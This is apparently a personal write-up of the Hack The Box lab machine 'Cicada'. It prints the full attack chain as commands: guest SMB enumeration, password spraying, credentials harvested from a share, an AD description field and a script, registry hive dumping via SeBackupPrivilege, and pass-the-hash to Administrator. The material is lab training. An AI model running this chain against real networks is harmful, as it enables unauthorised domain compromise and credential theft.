Cicada.md
| Property | Value |
|---|---|
| IP | 10.129.231.149 |
| OS | Windows Server 2022 |
| Difficulty | Easy |
| Date | 2026-10-30 |
| Source | HTB |
Nmap
nmap -sV -sC -p- 10.129.231.149
Open ports:
- 53 — DNS
- 88 — Kerberos
- 135 — msrpc
- 139 — netbios-ssn
- 389 / 3268 / 3269 — LDAP / LDAPS (Domain: cicada.htb, DC: CICADA-DC)
- 445 — SMB
- 464 — kpasswd5
- 593 — RPC over HTTP
- 5985 — WinRM (open this time → evil-winrm viable)
- 55458 — msrpc
Enumeration
SMB
Null/guest session allowed share listing:
nxc smb $IP -u 'guest' -p '' --shares

Readable as guest: HR, IPC$. Pulled a file from HR:
smbclient //$IP/HR -N
mget * # "Notice from HR.txt" has spaces — ls/get alone fails, mget prompts correctly
Notice from HR.txt contained the org’s default onboarding password: Cicada$M6Corpb*@Lp#nZp!8 — not tied to a specific user yet.

Other
impacket-lookupsid guest:@$IP → confirmed domain SID, validated guest access path before brute-forcing usernames.
Password spray of the HR default password against a userlist:
nxc smb $IP -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
Hit: michael.wrightson — reused the onboarding default.

With michael.wrightson’s access, re-enumerated shares. The DEV share appeared.
smbclient //$IP/DEV --user david.orelious
Logon failed using guessed password reuse for david.orelious, but the user’s description field, obtained through impacket-lookupsid / nxc user info, leaked a plaintext password:
david.orelious : aRt$Lp#7t*VQ!3

Authenticated to DEV as david.orelious and found Backup_script.ps1, which hardcoded a third credential:
emily.oscars : Q!3@Lp#M6b*7t*Vt
Foothold
Vulnerability: **Credential sprawl** — four separate leaks chained:
- HR notice default password
- Password reuse
- AD user description field
- Hardcoded credentials in a backup script
No single CVE was involved.
evil-winrm -i $IP -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Interactive shell as emily.oscars.
Privilege Escalation
Vector: **SeBackupPrivilege abuse**.
whoami /priv
# SeBackupPrivilege + SeRestorePrivilege both Enabled
reg save hklm\sam sam
reg save hklm\system system
download sam
download system
impacket-secretsdump -sam sam -system system LOCAL
# → Administrator NT hash: 2b87e7c93a3e8a0ea4a581937016f341
evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb
Result: pass-the-hash as Administrator.
Flags
| Flag | Value | User |
|---|---|---|
| User | a35c6769807676469881906xxxxxxxx |
emily.oscars |
| Root | d100bc69d333649e6b1a568xxxxxxxxx |
Administrator |
Techniques Used
- SMB null/guest session enumeration
- Password spraying
- AD user description field credential leak
- SeBackupPrivilege abuse
- SAM/SYSTEM registry hive dump
- Pass-the-hash
Lessons Learned
whoami /groups≠whoami /priv— groups show membership, while privileges are a separate command and the actionable output for privilege escalation.- Credential chains compound. No single leak was a complete vulnerability, but the onboarding document, password reuse, AD description field, and hardcoded script credentials combined into full compromise.
whoami /privis a privesc checklist. SeBackupPrivilege can read files such as SAM/SYSTEM while bypassing ACLs, enabling local hash dumping and pass-the-hash as local Administrator.- Use
mget *rather thanget <file>for SMB filenames containing spaces.mgetprompts for each file and works correctly.